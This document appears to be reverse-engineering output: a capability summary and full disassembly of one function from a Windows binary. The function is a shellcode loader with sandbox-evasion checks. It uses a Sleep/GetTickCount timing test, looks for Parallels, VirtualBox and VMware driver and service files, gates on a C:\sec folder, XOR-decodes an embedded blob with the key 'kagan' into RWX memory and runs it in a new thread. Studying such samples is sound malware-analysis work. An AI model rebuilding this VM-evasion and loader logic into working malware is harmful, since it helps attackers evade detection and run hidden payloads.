Function at 0x140001790
Capabilities:
Allocate or change rwx memory
Check for time delay via gettickcount
Check if file exists
Create thread
Encode data using xor
Get file attributes
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x150]
sub rsp, 0x250
mov rax, qword [0x140007008]
xor rax, rsp
mov qword [rbp + 0x148], rax
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebx, eax
mov ecx, 0xfa0
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, ebx
cmp eax, 0xfa0
jae 0x14000183b
lea rdx, str.asdg12f3hg213f_asdg12f3hg213f_DETECTED_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001f30
mov rcx, rax
lea rdx, [0x140002100]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.asdg12f3hg213f_asdg12f3hg213f_detection_failed._Terminating_program.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001f30
mov rcx, rax
lea rdx, [0x140002100]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
jmp 0x140001d9a
call fcn.1400011e0
test al, al
jne 0x14000184d
lea rdx, str.Invalid_asdg12f3hg213f_or_asdg12f3hg213f
jmp 0x140001815
xorps xmm0, xmm0
movups xmmword [rbp + 0x128], xmm0
mov qword [rbp + 0x138], 6
mov qword [rbp + 0x140], 0xf
mov eax, dword [str.C:_sec]
mov dword [rbp + 0x128], eax
movzx eax, word [0x140004558]
mov word [rbp + 0x12c], ax
mov byte [rbp + 0x12e], 0
xor eax, eax
movups xmmword [rbp + 0x110], xmm0
mov qword [rbp + 0x120], rax
movups xmmword [rsp + 0x30], xmm0
xor r12d, r12d
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], 0xf
lea ecx, [rax + 0x30]
call fcn.140002430
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x40], 0x28
mov qword [rsp + 0x48], 0x2f
movups xmm0, xmmword [str.c:_windows_system32_drivers_prl_pv32.sys]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x140004570]
movups xmmword [rax + 0x10], xmm1
movsd xmm0, qword [0x140004580]
movsd qword [rax + 0x20], xmm0
mov byte [rax + 0x28], r12b
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], 0xf
lea ecx, [r12 + 0x30]
call fcn.140002430
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x60], 0x23
mov qword [rsp + 0x68], 0x2f
movups xmm0, xmmword [str.c:_windows_system32_vboxservice.exe]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1400045a0]
movups xmmword [rax + 0x10], xmm1
movzx ecx, word [0x1400045b0]
mov word [rax + 0x20], cx
movzx ecx, byte [0x1400045b2]
mov byte [rax + 0x22], cl
mov byte [rax + 0x23], r12b
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], 0xf
lea ecx, [r12 + 0x30]
call fcn.140002430
mov r8, rax
mov qword [rsp + 0x70], rax
mov qword [rbp - 0x80], 0x26
mov qword [rbp - 0x78], 0x2f
movups xmm0, xmmword [str.c:_windows_system32_drivers_vmhgfs.sys]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1400045c8]
movups xmmword [rax + 0x10], xmm1
mov edx, dword [0x1400045d8]
mov dword [rax + 0x20], edx
movzx eax, word [0x1400045dc]
mov word [r8 + 0x24], ax
mov byte [r8 + 0x26], r12b
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], r12
mov qword [rbp - 0x58], 0xf
lea ecx, [r12 + 0x30]
call fcn.140002430
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x60], 0x26
mov qword [rbp - 0x58], 0x2f
movups xmm0, xmmword [str.c:_windows_system32_drivers_vmxnet.sys]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1400045f0]
movups xmmword [rax + 0x10], xmm1
mov ecx, dword [0x140004600]
mov dword [rax + 0x20], ecx
movzx ecx, word [0x140004604]
mov word [rax + 0x24], cx
mov byte [rax + 0x26], r12b
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x110], xmm0
mov qword [rbp + 0x120], r12
mov ecx, 0x80
call fcn.140002430
mov qword [rbp + 0x110], rax
mov qword [rbp + 0x118], rax
lea rcx, [rax + 0x80]
mov qword [rbp + 0x120], rcx
lea rcx, [rbp + 0x110]
mov qword [rbp - 0x50], rcx
lea r9, [rbp + 0x110]
mov r8, rax
lea rdx, [rbp - 0x50]
lea rcx, [rsp + 0x30]
call fcn.140002240
mov qword [rbp + 0x118], rax
lea r9, [0x140001e40]
lea edx, [r12 + 0x20]
lea r8d, [r12 + 4]
lea rcx, [rsp + 0x30]
call fcn.14000246c
lea rcx, [rbp + 0x128]
cmp qword [rbp + 0x140], 0x10
cmovae rcx, qword [rbp + 0x128]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x140001ce3
test al, 0x10
je 0x140001ce3
mov rbx, qword [rbp + 0x110]
mov rdi, qword [rbp + 0x118]
cmp rbx, rdi
je 0x140001b09
nop
mov rcx, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x140001aed
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x140001b00
test al, 0x10
jne 0x140001ce3
add rbx, 0x20
cmp rbx, rdi
jne 0x140001ae0
lea rcx, [rbp - 0x40]
lea rax, [0x140004610]
mov ebx, 2
mov edx, ebx
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140001b20
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movzx eax, byte [rax + 0x40]
mov byte [rcx + 0x40], al
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
mov rdx, rax
lea rax, [rbp - 0x40]
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rdx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rdx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rbx, 1
jne 0x140001bc0
movups xmm0, xmmword [rax]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rdx + 0x30], xmm1
movzx ecx, byte [rax + 0x40]
mov byte [rdx + 0x40], cl
lea r15, str.kagan
mov rsi, 0xffffffffffffffff
inc rsi
cmp byte [r15 + rsi], 0
jne 0x140001c45
mov rdi, r12
xor edx, edx
mov rax, rdi
div rsi
movzx eax, byte [rdx + r15]
xor byte [rdi + r14], al
movzx ebx, byte [rdi + r14]
lea rdx, [0x1400044d4]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001f30
mov rcx, rax
lea rdx, [0x1400011c0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
inc rdi
cmp rdi, 0x141
jb 0x140001c52
lea rdx, [0x140002100]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], r12d
xor r9d, r9d
mov r8, r14
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ebx, r12d
jmp 0x140001ce8
mov ebx, 1
mov rcx, qword [rbp + 0x110]
test rcx, rcx
je 0x140001d54
mov rdx, qword [rbp + 0x118]
call fcn.140002140
mov rdx, qword [rbp + 0x120]
mov rcx, qword [rbp + 0x110]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001d3d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001d3d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000253c
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x110], xmm0
mov qword [rbp + 0x120], r12
mov rdx, qword [rbp + 0x140]
cmp rdx, 0x10
jb 0x140001d98
inc rdx
mov rcx, qword [rbp + 0x128]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001d93
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001d93
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000253c
mov eax, ebx
mov rcx, qword [rbp + 0x148]
xor rcx, rsp
call fcn.140002410
lea r11, [rsp + 0x250]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret